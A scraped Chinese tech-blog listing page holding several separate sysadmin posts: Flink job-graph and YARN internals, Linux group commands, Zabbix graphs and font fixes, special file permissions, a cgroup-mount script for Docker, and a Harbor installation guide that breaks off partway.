StreamGraph 到 JobGraph 的转化步骤: 设置调度模式,Eager 所有节点立即启动。 广度优先遍历 StreamGraph,为每个 streamNode 生成 byte 数组类型的 hash 值。 从 source 节点开始递归寻找嵌到一起的 operator,不能嵌到一起的节点单独生成 jobVertex,能够嵌到一起的开始节点生成 jobVertex,其他节点以序列化的形式写入到 StreamConfig,然后 merge 到 CHAINED_TASK_CONFIG,再通过 JobEdge 链接上下游 JobVertex。 将每个 JobVertex 的入边(StreamEdge)序列化到该 StreamConfig。 根据 group name 为每个 JobVertext 指定 SlotSharingGroup。 配置 checkpoint。 将缓存文件存文件的配置添加到 configuration 中。 设置 ExecutionConfig。
从 source 节点递归寻找嵌到一起的 operator 中,嵌到一起需要满足一定的条件,具体条件介绍如下: 下游节点只有一个输入。 下游节点的操作符不为 null。 上游节点的操作符不为 null。 上下游节点在一个槽位共享组内。 下游节点的连接策略是 ALWAYS。 上游节点的连接策略是 HEAD 或者 ALWAYS。 edge 的分区函数是 ForwardPartitioner 的实例。 上下游节点的并行度相等。 可以进行节点连接操作。
JobGraph 对象结构如上图所示,taskVertices 中只存在 Window、Flat Map、Source 三个 TaskVertex,Sink operator 被嵌到 window operator 中去了。
为什么要为每个 operator 生成 hash 值?
Flink 任务失败的时候,各个 operator 是能够从 checkpoint 中恢复到失败之前的状态的,恢复的时候是依据 JobVertexID(hash 值)进行状态恢复的。相同的任务在恢复的时候要求 operator 的 hash 值不变,因此能够获取对应的状态。
每个 operator 是怎样生成 hash 值的?
如果用户对节点指定了一个散列值,则基于用户指定的值能够产生一个长度为 16 的字节数组。如果用户没有指定,则根据当前节点所处的位置,产生一个散列值。
考虑的因素主要有三点: 一是在当前 StreamNode 之前已经处理过的节点的个数,作为当前 StreamNode 的 id,添加到 hasher 中; 二是遍历当前 StreamNode 输出的每个 StreamEdge,并判断当前 StreamNode 与这个 StreamEdge 的目标 StreamNode 是否可以进行链接,如果可以,则将目标 StreamNode 的 id 也放入 hasher 中,且这个目标 StreamNode 的 id 与当前 StreamNode 的 id 取相同的值; 三是将上述步骤后产生的字节数据,与当前 StreamNode 的所有输入 StreamNode 对应的字节数据,进行相应的位操作,最终得到的字节数据,就是当前 StreamNode 对应的长度为 16 的字节数组。
JobGraph 到 ExexcutionGraph 以及物理执行计划
JobGraph 到 ExexcutionGraph 以及物理执行计划的流程: 将 JobGraph 里面的 jobVertex 从 Source 节点开始排序。 在 executionGraph.attachJobGraph(sortedTopology)方法里面,根据 JobVertex 生成 ExecutionJobVertex,在 ExecutionJobVertex 构造方法里面,根据 jobVertex 的 IntermediateDataSet 构建 IntermediateResult,根据 jobVertex 并发构建 ExecutionVertex,ExecutionVertex 构建的时候,构建 IntermediateResultPartition(每一个 Execution 构建 IntermediateResult 数个IntermediateResultPartition );将创建的 ExecutionJobVertex 与前置的 IntermediateResult 连接起来。 构建 ExecutionEdge ,连接到前面的 IntermediateResultPartition,最终从 ExecutionGraph 到物理执行计划。
Flink Job 执行流程
Flink On Yarn 模式
基于 Yarn 层面的架构类似 Spark on Yarn 模式,都是由 Client 提交 App 到 RM 上面去运行,然后 RM 分配第一个 container 去运行 AM,然后由 AM 去负责资源的监督和管理。需要说明的是,Flink 的 Yarn 模式更加类似 Spark on Yarn 的 cluster 模式,在 cluster 模式中,dirver 将作为 AM 中的一个线程去运行。Flink on Yarn 模式也是会将 JobManager 启动在 container 里面,去做个 driver 类似的任务调度和分配,Yarn AM 与 Flink JobManager 在同一个 Container 中,这样 AM 可以知道 Flink JobManager 的地址,从而 AM 可以申请 Container 去启动 Flink TaskManager。待 Flink 成功运行在 Yarn 集群上,Flink Yarn Client 就可以提交 Flink Job 到 Flink JobManager,并进行后续的映射、调度和计算处理。
Fink on Yarn 的缺陷 资源分配是静态的,一个作业需要在启动时获取所需的资源并且在它的生命周期里一直持有这些资源。这导致了作业不能随负载变化而动态调整,在负载下降时无法归还空闲的资源,在负载上升时也无法动态扩展。 On-Yarn 模式下,所有的 container 都是固定大小的,导致无法根据作业需求来调整 container 的结构。譬如 CPU 密集的作业或许需要更多的核,但不需要太多内存,固定结构的 container 会导致内存被浪费。 与容器管理基础设施的交互比较笨拙,需要两个步骤来启动 Flink 作业: 1.启动 Flink 守护进程;2.提交作业。如果作业被容器化并且将作业部署作为容器部署的一部分,那么将不再需要步骤2。 On-Yarn 模式下,作业管理页面会在作业完成后消失不可访问。 Flink 推荐 per job clusters 的部署方式,但是又支持可以在一个集群上运行多个作业的 session 模式,令人疑惑。
在 Flink 版本 1.5 中引入了 Dispatcher,Dispatcher 是在新设计里引入的一个新概念。Dispatcher 会从 Client 端接受作业提交请求并代表它在集群管理器上启动作业。
引入 Dispatcher 的原因主要有两点: 第一,一些集群管理器需要一个中心化的作业生成和监控实例; 第二,能够实现 Standalone 模式下 JobManager 的角色,且等待作业提交。在一些案例中,Dispatcher 是可选的(Yarn)或者不兼容的(kubernetes)。
资源调度模型重构下的 Flink On Yarn 模式
没有 Dispatcher job 运行过程
客户端提交 JobGraph 以及依赖 jar 包到 YarnResourceManager,接着 Yarn ResourceManager 分配第一个 container 以此来启动 AppMaster,Application Master 中会启动一个 FlinkResourceManager 以及 JobManager,JobManager 会根据 JobGraph 生成的 ExecutionGraph 以及物理执行计划向 FlinkResourceManager 申请 slot,FlinkResoourceManager 会管理这些 slot 以及请求,如果没有可用 slot 就向 Yarn 的 ResourceManager 申请 container,container 启动以后会注册到 FlinkResourceManager,最后 JobManager 会将 subTask deploy 到对应 container 的 slot 中去。
在有 Dispatcher 的模式下
会增加一个过程,就是 Client 会直接通过 HTTP Server 的方式,然后用 Dispatcher 将这个任务提交到 Yarn ResourceManager 中。
新框架具有四大优势,详情如下: client 直接在 Yarn 上启动作业,而不需要先启动一个集群然后再提交作业到集群。因此 client 再提交作业后可以马上返回。 所有的用户依赖库和配置文件都被直接放在应用的 classpath,而不是用动态的用户代码 classloader 去加载。 container 在需要时才请求,不再使用时会被释放。 “需要时申请”的 container 分配方式允许不同算子使用不同 profile (CPU 和内存结构)的 container。
新的资源调度框架下 single cluster job on Yarn 流程介绍
single cluster job on Yarn 模式涉及三个实例对象: clifrontend Invoke App code; 生成 StreamGraph,然后转化为 JobGraph; YarnJobClusterEntrypoint(Master) 依次启动 YarnResourceManager、MinDispatcher、JobManagerRunner 三者都服从分布式协同一致的策略; JobManagerRunner 将 JobGraph 转化为 ExecutionGraph ,然后转化为物理执行任务Execution,然后进行 deploy,deploy 过程会向 YarnResourceManager 请求 slot,如果有直接 deploy 到对应的 YarnTaskExecutiontor 的 slot 里面,没有则向 Yarn 的 ResourceManager 申请,带 container 启动以后 deploy。 YarnTaskExecutorRunner (slave) 负责接收 subTask,并运行。
整个任务运行代码调用流程如下图:
subTask 在执行时是怎么运行的? 调用 StreamTask 的 invoke 方法,执行步骤如下: * initializeState()即operator的initializeState() * openAllOperators() 即operator的open()方法 * 最后调用 run 方法来进行真正的任务处理
我们来看下 flatMap 对应的 OneInputStreamTask 的 run 方法具体是怎么处理的。 @Override protected void run() throws Exception { // cache processor reference on the stack, to make the code more JIT friendly final StreamInputProcessor inputProcessor = this.inputProcessor; while (running && inputProcessor.processInput()) { // all the work happens in the "processInput" method } }
最终是调用 StreamInputProcessor 的 processInput() 做数据的处理,这里面包含用户的处理逻辑。 public boolean processInput() throws Exception { if (isFinished) { return false; } if (numRecordsIn == null) { try { numRecordsIn = ((OperatorMetricGroup) streamOperator.getMetricGroup()).getIOMetricGroup().getNumRecordsInCounter(); } catch (Exception e) { LOG.warn("An exception occurred during the metrics setup.", e); numRecordsIn = new SimpleCounter(); } } while (true) { if (currentRecordDeserializer != null) { DeserializationResult result = currentRecordDeserializer.getNextRecord(deserializationDelegate); if (result.isBufferConsumed()) { currentRecordDeserializer.getCurrentBuffer().recycleBuffer(); currentRecordDeserializer = null; } if (result.isFullRecord()) { StreamElement recordOrMark = deserializationDelegate.getInstance(); //处理watermark if (recordOrMark.isWatermark()) { // handle watermark //watermark处理逻辑,这里可能引起timer的trigger statusWatermarkValve.inputWatermark(recordOrMark.asWatermark(), currentChannel); continue; } else if (recordOrMark.isStreamStatus()) { // handle stream status statusWatermarkValve.inputStreamStatus(recordOrMark.asStreamStatus(), currentChannel); continue; //处理latency watermark } else if (recordOrMark.isLatencyMarker()) { // handle latency marker synchronized (lock) { streamOperator.processLatencyMarker(recordOrMark.asLatencyMarker()); } continue; } else { //用户的真正的代码逻辑 // now we can do the actual processing StreamRecord record = recordOrMark.asRecord(); synchronized (lock) { numRecordsIn.inc(); streamOperator.setKeyContextElement1(record); //处理数据 streamOperator.processElement(record); } return true; } } } //这里会进行checkpoint barrier的判断和对齐,以及不同partition 里面checkpoint barrier不一致时候的,数据buffer, final BufferOrEvent bufferOrEvent = barrierHandler.getNextNonBlocked(); if (bufferOrEvent != null) { if (bufferOrEvent.isBuffer()) { currentChannel = bufferOrEvent.getChannelIndex(); currentRecordDeserializer = recordDeserializers[currentChannel]; currentRecordDeserializer.setNextBuffer(bufferOrEvent.getBuffer()); } else { // Event received final AbstractEvent event = bufferOrEvent.getEvent(); if (event.getClass() != EndOfPartitionEvent.class) { throw new IOException("Unexpected event: " + event); } } } else { isFinished = true; if (!barrierHandler.isEmpty()) { throw new IllegalStateException("Trailing data in checkpoint barrier handler."); } return false; } } }
streamOperator.processElement(record) 最终会调用用户的代码处理逻辑,假如 operator 是 StreamFlatMap 的话, @Override public void processElement(StreamRecord element) throws Exception { collector.setTimestamp(element); userFunction.flatMap(element.getValue(), collector);//用户代码 }



原文链接
本文为云栖社区原创内容,未经允许不得转载。
系统运维
2019-11-15 14:49:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
导读
每个用户都有一个用户组,系统可以对一个用户组中的所有用户进行集中管理。不同 Linux 系统对用户组的规定有所不同,如Linux下的用户属于与它同名的用户组,这个用户组在创建用户时同时创建。
用户组的管理涉及用户组的添加、删除和修改。组的增加、删除和修改实际上就是对/etc/group文件的更新。

1、增加一个新的用户组使用groupadd 命令 。其格式如下: groupadd 选项 用户组
可以使用的选项有:
-g GID 指定新用户组的组标识号(GID)。
-o 一般与-g选项同时使用,表示新用户组的GID可以与系统已有用户组的GID相同。
实例1: # groupadd group1
此 命令 向系统中增加了一个新组group1,新组的组标识号是在当前已有的最大组标识号的基础上加1。
实例2: # groupadd -g 101 group2
此命令向系统中增加了一个新组group2,同时指定新组的组标识号是101。
2、如果要删除一个已有的用户组,使用groupdel命令,其格式如下: groupdel 用户组
例如: # groupdel group1
此命令从系统中删除组group1。
3、修改用户组的属性使用groupmod命令。其语法如下: groupmod 选项 用户组
常用的选项有:
-g GID 为用户组指定新的组标识号。
-o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同。
-n新用户组 将用户组的名字改为新名字
实例1: # groupmod -g 102 group2
此命令将组group2的组标识号修改为102。
实例2: # groupmod –g 10000 -n group3 group2
此命令将组group2的标识号改为10000,组名修改为group3。
4、如果一个用户同时属于多个用户组,那么用户可以在用户组之间切换,以便具有其他用户组的权限。
用户可以在登录后,使用命令newgrp切换到其他用户组,这个命令的参数就是目的用户组。例如: $ newgrp root
这条命令将当前用户切换到root用户组,前提条件是root用户组确实是该用户的主组或附加组。类似于用户账号的管理,用户组的管理也可以通过集成的系统管理工具来完成。
本文原创地址: https://www.linuxprobe.com/user-group-management.html
系统运维
2019-11-15 08:39:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
来源: https://blog.csdn.net/Powerful_Fy
zabbix聚合图形配置
zabbix中会根据监控的数据生成图形更直观的显示,聚合图形的作用就是将多个图形放在一起展示,更方便查看监控数据
点进监测→聚合图形→创建→定义聚合图形名称,行数列数:
添加成功后即可在页面显示,点击构造函数后进入如下页面:
点击更改即可选择要添加的图形以及高度宽度等参数:
在点击选择按钮后可以选择指定群组中指定机器的图形:
配置完成后在聚合图形页面点击对应的名称即可查看:
#如需将聚合图形添加到监测首页的仪表板中,在对应的聚合图形中点击右上角的星即可(前提是仪表板有"常用的聚合图形"这一模块)
zabbix触发器配置
触发器根据监控项监控的结果来判断是否报警,触发器的设置可以针对单台主机或某个配置模板
在主机界面点击触发器后即可进入触发器界面,右上角选择群组后,指定主机名给指定的主机添加触发器(报警规则),也可以指定一个模板,给模板添加触发器,这样使用了该模板的主机都会生效
定义触发器名称、严重等级以及表达式:
#定义表达式选择对应的监控项、判断符号、判断的值即可
添加完后点击对应主机/模板的触发器按钮即可进入页面查看:
zabbix中文名称报错/图形乱码问题处理
1.中文名称报错
当添加监控项、图形、聚合图形等监控配置时,会报错,无法添加,原因是数据库字符集在创建的时候没有指定为utf8
例:查看触发器表triggers的字符集,结果显示字符集为latin1
处理方法:
1.编辑配置文件/etc/my.cnf添加以下内容: character_set_database = utf8 character_set_server = utf8
2.导出数据库: [root@zabbix ~]# mysqldump -uroot -p --default-character-set=utf8 zabbix > zabbixbak.sql
3.编辑导出的.sql文件,替换latin1为utf8:
4.导入数据库即可: [root@zabbix ~]# mysql -uroot -p --default-character-set=utf8 zabbix < zabbixbak.sql
2.zabbix图形乱码
当图形名称以中文命名时,或者图形中包含中文命名的监控项目,触发器时,查看图形时监控项目名称等信息会变成小方框:
解决方法:
1.查看zabbix字体库配置: vi /usr/share/zabbix/include/defines.inc.php
2.搜索fonts:
#可以看到当前字体库存放目录assets/fonts,当前字体库graphfont
3.进入C:\Windows\Fonts拷贝一个中文字体库到该目录下: [root@zabbix ~]# mv LanTing_Regular.ttf /usr/share/zabbix/assets/fonts/ [root@zabbix ~]# cd !$ cd /usr/share/zabbix/assets/fonts/ [root@zabbix fonts]# ll 总用量 3572 lrwxrwxrwx 1 root root 33 11月 13 11:57 graphfont.ttf -> /etc/alternatives/zabbix-web-font -rw-r--r-- 1 root root 3656952 11月 14 16:53 LanTing_Regular.ttf
4.更改原字体库: [root@zabbix fonts]# mv graphfont.ttf graphfont.ttf.bak
5.将上传的中文字体库软连接为graphfont.ttf: [root@zabbix fonts]# ln -s ./LanTing_Regular.ttf graphfont.ttf
图形中的中文字体即可正常显示:
系统运维
2019-11-14 19:18:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
三种特殊权限简介
SUID
当一个设置了SUID 位的可执行文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来执行这个文件,他都有文件所有者的特权。
如果所有者是 root 的话,那么执行人就有超级用户的特权了。
SGID
当一个设置了SGID 位的可执行文件运行时,该文件将具有所属组的特权, 任意存取整个组所能使用的系统资源。
若一个目录设置了SGID,则所有被复制到这个目录下的文件, 其所属的组都会被重设为和这个目录一样,除非在复制文件时加上-p (preserve,保留文件属性)的参数,才能保留原来所属的群组设置。
sticky-bit
对一个文件设置了sticky-bit之后,尽管其他用户有写权限, 也必须由属主执行删除、移动等操作。
对一个目录设置了sticky-bit之后,存放在该目录的文件仅准许其属主执行删除、 移动等操作。
特殊权限的数值表示
三种特殊权限可以用单独的一位8进制数值表示
SUID、SGID和sticky-bit的数值表示
SUID SGID sticky 二进制 八进制 说明
- - - 000 0 不设置特殊权限
- - t 001 1 只设置sticky
- s - 010 2 只设置SGID
- s t 011 3 只设置SGID和sticky
s - - 100 4 只设置SUID
s - t 101 5 只设置SUID和sticky
s s - 110 6 只设置SUID和SGID
s s t 111 7 设置三种特殊权限
我们知道了文件的权限可以用三个八进制数字表示。其实文件的权限应该用四个八进制来表示,不过用 ls -l 命令时,只显示三个罢了。那个没有显示的八进制数字其实是第一个,它用来设定一些特殊权限。这个八进制数字的三个位是:
SUID SGID sticky-bit
它们的含义是:
SUID
当设置了SUID 位的文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来执行这个文件,他都有文件所有者的特权。如果所有者是 root 的话,那么执行人就有超级用户的特权了。这时该位将变成一个安全漏洞,因此不要轻易设置该位。
SGID
与上面的内容类似。文件运行时,运行者将具有所属组的特权。
sticky-bit
sticky 位要求操作系统既是在可执行程序退出后,仍要在内存中保留该程序的映象。这样做是为了节省大型程序的启动时间。但是会占用系统资源。因此设置该位,不如把程序写好。
set uid ;set gid;sticky bit区别
每一个文件有所有者及组编号,set uid ;set gid可以改变用户对文件具有的权限:写和执行.
setuid: 在执行时具有文件所有者的权限.
setgid: 设置目录. 一个目录被标上setgid位,此目录下创建的文件继承该目录的属性.
sticky bit: 该位可以理解为防删除位. 设置sticky bit位后,就算用户对目录具有写权限,但也只能添加文件而不能删除文件。
如何设置:
操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作,
1) chmod u+s temp -- 为temp文件加上setuid标志. (setuid 只对文件有效,U=用户)
chmod g+s tempdir -- 为tempdir目录加上setgid标志 (setgid 只对目录有效,g=组名)
chmod o+t temp -- 为temp文件加上sticky标志 (sticky只对文件有效)
2) 采用八进制方式. 这一组八进制数字三位的意义如下,
abc
a - setuid位, 如果该位为1, 则表示设置setuid
b - setgid位, 如果该位为1, 则表示设置setgid
c - sticky位, 如果该位为1, 则表示设置sticky
设置后, 可以用 ls -l 来查看. 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)
如:
rwsrw-r-- 表示有setuid标志 (rwxrw-r--:rwsrw-r--)
rwxrwsrw- 表示有setgid标志 (rwxrwxrw-:rwxrwsrw-)
rwxrw-rwt 表示有sticky标志 (rwxrw-rwx:rwxrw-rwt)
理解文件权限
所谓的文件权限,是指对文件的访问权限,包括对文件的读、写、删除、执行。Linux 是一个多用户操作系统,它允许多个用户同时登录和工作。因此 Linux 将一个文件或目录与一个用户和组联系起来。请看下面的例子:
drwxr-xr-x 5 root root 1024 Sep 13 03:27 Desktop
与文件权限相关联的是第一、第三、第四个域。第三个域是文件的所有者,第四个域是文件的所属组,而第一个域则限制了文件的访问权限。在这个例子中,文件的所有者是 root,所属的组是 root,文件的访问权限是 drwxr-xr-x。对于文件和目录讲,每个文件和目录都有一组权限标志和它们结合在一起,在上例中就是第一个域中的内容。下面来仔细分析这个域中各个符号的意义:
该域由 10 个字符组成,可以把它们分为四组,具体含义分别是:
d rwx r-x r-x
文件类型 所有者权限标志 组权限标志 其他用户权限标志
其中:
文件类型:第一个字符。由于 Linux 系统对与设备、目录、文件都当作是文件来处理,因此该字符表明此文件的类型,字符与对应的意义如下表: 文件标志
文件类型
例子
-
普通文件
数据文件、
ASCII 纯文本文件、程序
d
目录
/bin
b
块设备
/dev/hda(第一个 IDE 硬盘)
c
字符设备
/dev/ttyS1(与 DOS 种的串口 2 等同)
s
套接字
/dev/log
p
命名管道
/dev/initctl(与“|”等同)
l
符号链接
/dev/modem->/dev/ttyS1
权限标志:
对每个文件或目录都有 4 类不同的用户。每类用户各有一组读、写和执行(搜索)文件的访问权限,这 4 类用户是:
root:系统特权用户类,既 UID = 0 的用户。
owner:拥有文件的用户。
group:共享文件的组访问权限的用户类的用户组名称。
world:不属于上面 3 类的所有其他用户。
作为 root,他们自动拥有了所有文件和目录的全面的读、写和搜索的权限,所以没有必要明确指定他们的权限。其他三类用户则可以在耽搁文件或者目录的基础上别授权或撤消权限。因此对另外三类用户,一共 9 个权限位与之对应,分为 3 组,每组 3 个,分别用 r、w、x 来表示,分别对应 owner、group、world。
权限位对于文件和目录的含义有些许不同。每组 3 个字符对应的含义从左至右的顺序,对于文件来说是:读文件的内容(r)、写数据到文件(w)、做为命令执行该文件(x)。对于目录来说是:读包含在目录中的文件名称(r)、写信息到目录中去(增加和删除索引点的连接)、搜索目录(能用该目录名称作为路径名去访问它所包含的文件或子目录)。具体来说就是:
1. 有只读权限的用户不能用 cd 进入该目录;还必须有执行权限才能进入。
2. 有执行权限的用户只有在知道文件名并拥有该文件的读权限的情况下才可以访问目录下的文件。
3. 必须有读和执行权限才可以使用 ls 列出目录清单,或使用 cd 进入目录。
4. 如用户有目录的写权限,则可以创建、删除或修改目录下的任何文件或子目录,既是该文件或子目录属于其他用户。
修改文件权限
首先讲修改文件的所有权,使用 chown 和 chgrp 命令:
chown new_user file or directory:修改文件或目录的所有者。
chgrp new_group file or directory:修改文件或目录的所属组。
这里需要注意的是:普通用户不能将文件或目录的所有权交与他人,只有 root 有这一权限。但是普通用户有权改变文件或目录的所属组。
由于每类用户的权限都是由 rwx 三位组成,因此可以用三个八进制数字表示文件的访问权。一个八进制数字可以用三个二进制数字表示,那么与其对应,权值为 4 的位对应 r,权值为 2 的位对应 w,权值为 1 的位对应 x。对于一类用户,将这三位与其对应的权值相乘求和,就可以得出对该类用户的访问权限。
改变文件访问权限的命令是 chmod,格式是:
chmod permission file_name
比如 chmod 764 a.txt,它表示对于文件的所有者,具有对该文件读、写、执行的权限。对于文件所属组的用户,拥有读、写的权限。对于其他用户,只有读权限。
这里需要注意的是:文件的创建者是唯一可以修改该文件访问权限的普通用户,另外一个可以修改文件访问权限的用户是 root。
还有一种表示方法,就是用字符串来设定文件访问权限。其中读用 r 表示,写用 w 表示,执行用 x 表示;所有者用 u 表示,组用户用 g 表示,其他用户用 o 表示,所有用户用 a 表示。
我们平时安装 gi时,看到的oracle命令,就是带了s的:
[oracle@rac1 test]$ ls -ltr /u01/app/grid/product/11.2.0/grid/bin/oracle
-rwsrwsr-x 1 grid dba 209854149 Jun 1 20:17 /u01/app/grid/product/11.2.0/grid/bin/oracle
更多数据库和linux技术内容欢迎搜索“重庆思庄”
系统运维
2019-11-14 17:23:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
1 安装好的docker-ce无法启动有以下报错: ● docker.service - Docker Application Container Engine Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled) Active: failed (Result: start-limit) since Thu 2019-11-14 16:43:57 CST; 3min 56s ago Docs: https://docs.docker.com Process: 13443 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock (code=exited, status=1/FAILURE) Main PID: 13443 (code=exited, status=1/FAILURE) Nov 14 16:43:55 -prometheus systemd[1]: Failed to start Docker Application Container Engine. Nov 14 16:43:55 -prometheus systemd[1]: Unit docker.service entered failed state. Nov 14 16:43:55 -prometheus systemd[1]: docker.service failed. Nov 14 16:43:57 -prometheus systemd[1]: docker.service holdoff time over, scheduling restart. Nov 14 16:43:57 -prometheus systemd[1]: Stopped Docker Application Container Engine. Nov 14 16:43:57 -prometheus systemd[1]: start request repeated too quickly for docker.service Nov 14 16:43:57 -prometheus systemd[1]: Failed to start Docker Application Container Engine. Nov 14 16:43:57 -prometheus systemd[1]: Unit docker.service entered failed state. Nov 14 16:43:57 -prometheus systemd[1]: docker.service failed. $ journalctl -u docker -- Logs begin at Fri 2019-11-01 16:28:57 CST, end at Thu 2019-11-14 16:41:19 CST. -- Nov 01 17:00:01 -prometheus systemd[1]: Starting Docker Application Container Engine... Nov 01 17:00:01 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:01.699229572+08:00" level=warning msg="could not change group /var/run/docker.sock to docker: group docker not found" Nov 01 17:00:01 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:01.700052946+08:00" level=info msg="libcontainerd: new containerd process, pid: 29518" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.715734090+08:00" level=warning msg="Docker could not enable SELinux on the host system" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.719846089+08:00" level=info msg="Graph migration to content-addressability took 0.00 seconds" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.720276520+08:00" level=warning msg="Your kernel does not support cgroup memory limit" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.720295761+08:00" level=warning msg="Unable to find cpu cgroup in mounts" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.720306020+08:00" level=warning msg="Unable to find blkio cgroup in mounts" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.720315836+08:00" level=warning msg="Unable to find cpuset cgroup in mounts" Nov 01 17:00:02 -prometheus dockerd-current[29502]: time="2019-11-01T17:00:02.720481288+08:00" level=warning msg="mountpoint for pids not found" Nov 01 17:00:02 -prometheus dockerd-current[29502]: Error starting daemon: Devices cgroup isn't mounted Nov 01 17:00:02 -prometheus systemd[1]: docker.service: main process exited, code=exited, status=1/FAILURE Nov 01 17:00:02 -prometheus systemd[1]: Failed to start Docker Application Container Engine. Nov 01 17:00:02 -prometheus systemd[1]: Unit docker.service entered failed state. Nov 01 17:00:02 -prometheus systemd[1]: docker.service failed.
通过日志发现:Error starting daemon: Devices cgroup isn't mounted 就是说cgroup没有挂载,无法工作
2 解决方法:
从github找到的脚本执行即可 #!/bin/sh # Copyright 2011 Canonical, Inc # 2014 Tianon Gravi # Author: Serge Hallyn # Tianon Gravi set -e # for simplicity this script provides no flexibility # if cgroup is mounted by fstab, don't run # don't get too smart - bail on any uncommented entry with 'cgroup' in it if grep -v '^#' /etc/fstab | grep -q cgroup; then echo 'cgroups mounted from fstab, not mounting /sys/fs/cgroup' exit 0 fi # kernel provides cgroups? if [ ! -e /proc/cgroups ]; then exit 0 fi # if we don't even have the directory we need, something else must be wrong if [ ! -d /sys/fs/cgroup ]; then exit 0 fi # mount /sys/fs/cgroup if not already done if ! mountpoint -q /sys/fs/cgroup; then mount -t tmpfs -o uid=0,gid=0,mode=0755 cgroup /sys/fs/cgroup fi cd /sys/fs/cgroup # get/mount list of enabled cgroup controllers for sys in $(awk '!/^#/ { if ($4 == 1) print $1 }' /proc/cgroups); do mkdir -p $sys if ! mountpoint -q $sys; then if ! mount -n -t cgroup -o $sys cgroup $sys; then rmdir $sys || true fi fi done # example /proc/cgroups: # #subsys_name hierarchy num_cgroups enabled # cpuset 2 3 1 # cpu 3 3 1 # cpuacct 4 3 1 # memory 5 3 0 # devices 6 3 1 # freezer 7 3 1 # blkio 8 3 1 exit 0
系统运维
2019-11-14 17:17:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Harbor安装和配置指导
Harbor 可以使用以下三种方式进行安装部署: 在线安装: 使用者可以直接从docker hub上下载harbor的官方镜像。 离线安装: 使用者需要下载源码包,并进行自己构建images。源码包比较大 Virtual Appliance: 一般使用这种方式在第三方平台搭建一个私有仓库作为平台的组建比如vsphere等,需要下载OVA 版本的Harbor.
官方下载页面 请点击我 .
需要安装Harbor's virtual appliance, 请点击我 .
本篇指导主要讲解通过使用在线和离线方式去一步步安装和配置Harbor.安装的步骤基本上都是相同的。
如果用户运行了老版本的harbor,可能需要迁移数据到新的数据库队列中,详细的步骤请** 点击我 **
另外在kubernetes上面部署的步骤和看以下链接** harbor on kubernets **
Harbor依赖
Harbor 被作为一个docker容器部署在服务区上,因此,他能够被部署在任何linux发行版本。目标主机上需要安装python,docker,以及docker-compose工具。 Python 需要 2.7+. 需要注意的是,最好安装对应linux发型版本的python。 Docker engine 需要1.10+ 目前比较新的版本1.12. docker安装 Docker Compose 需要 1.6.0+. Compose安装
Harbor安装与配置
安装步骤为以下几个部分: 下载安装包 修改相关配置 harbor.cfg; 运行 install.sh 去安装和启动harbor;
1.下载安装包
点击链接下载二进制包 Harbor下载 . 选择一个在线或者离线包进行下载. 使用 tar 命令解压下载的源码包
在线包安装:
$ tar xvf harbor-online-installer-.tgz
离线包安装:
$ tar xvf harbor-offline-installer-.tgz
2.配置 Harbor
配置参数被放在文件 harbor.cfg 中. 详细参数讲解 至少得配置 hostname 参数 hostname: 配置目标主机的主机名, 被用来访问Harbor ui 和镜像仓库的,可以配置为ip地址和全域名,比如 192.168.1.10 or reg.yourdomain.com. 不要使用 localhost or 127.0.0.1 为主机名 ui_url_protocol: (http or https. 默认协议为 http) 该协议被用来访问 the UI and the token/notification 服务. 默认是 http. 想要设置https协议,请看链接 配置Harbor支持https协议 . Email settings: 配置Harbor来发送邮件,当然改配置并不是必须的 .注意:默认的ssl链接没有被启用,如果SMTP需要ssl支持,可以设置以下参数以支持。 email_ssl = true
* email_server = smtp.mydomain.com * email_server_port = 25 * email_username = sample_admin@mydomain.com * email_password = abc * email_from = admin * email_ssl = false harbor_admin_password: 设置管理员内部密码,该密码紧紧在第一次启动Harbor的时候生效.在之后这个设置被忽略,管理员的密码将在UI中重新设置。 默认的用户名和密码如下: admin/Harbor12345 . auth_mode: 被用来认证的方式,默认使用的是 db_auth,该认证会被肢解存储到数据库中。 如果需要设置LDAP方式认证需要使用ldap_auth. ldap_url: LDAP认证方式的URL (e.g. ldaps://ldap.mydomain.com). 当 auth_mode 被设置为ldap_auth 的时候。 ldap_searchdn: 链接LDAP/AD服务的用户域(e.g. uid=admin,ou=people,dc=mydomain,dc=com). ldap_search_pwd: 为上面设定的用户域设置密码 ldap_searchdn. ldap_basedn: 基础域为方便寻找一个用户e.g. ou=people,dc=mydomain,dc=com. 仅当 auth_mode is 设置为ldap_auth的时候才使用 ldap_filter:用户搜索过滤 (objectClass=person). ldap_uid: 该参数被用来匹配一个LDAP搜索的用户,可以使uid,cn,email或者其他的方式。 ldap_scope: 用户搜索范围, 1-LDAP_SCOPE_BASE, 2-LDAP_SCOPE_ONELEVEL, 3-LDAP_SCOPE_SUBTREE. Default is 3. db_password: mysql数据库root用户密码 db_auth. self_registration: (on or off. Default is on) 启用和关闭用户注册功能.当被关闭,新用户职能通过admin用户去创建。 _注意: 当 auth_mode 被设置为 ldap_auth, self-registration 会被一直关闭,该参数也会被忽略。 use_compressed_js: (on or off. 默认为 on) 生产中使用,建议将该参数设置为 on. 在部署模式中将参数设置为off 以至于js 文件能够被分开去修改. max_job_workers: (默认为 3) 设置在任务服务中最大的工作副本, 每一个image副本任务,会有一个worker从仓库中将所有的tag同步到远端。增大这个值回允许更多当前的副本任务,然而因为每个worker都会去消耗一定的网络/cpu/io等资源,必须根据系统的资源进行合理设置该值。 secret_key: 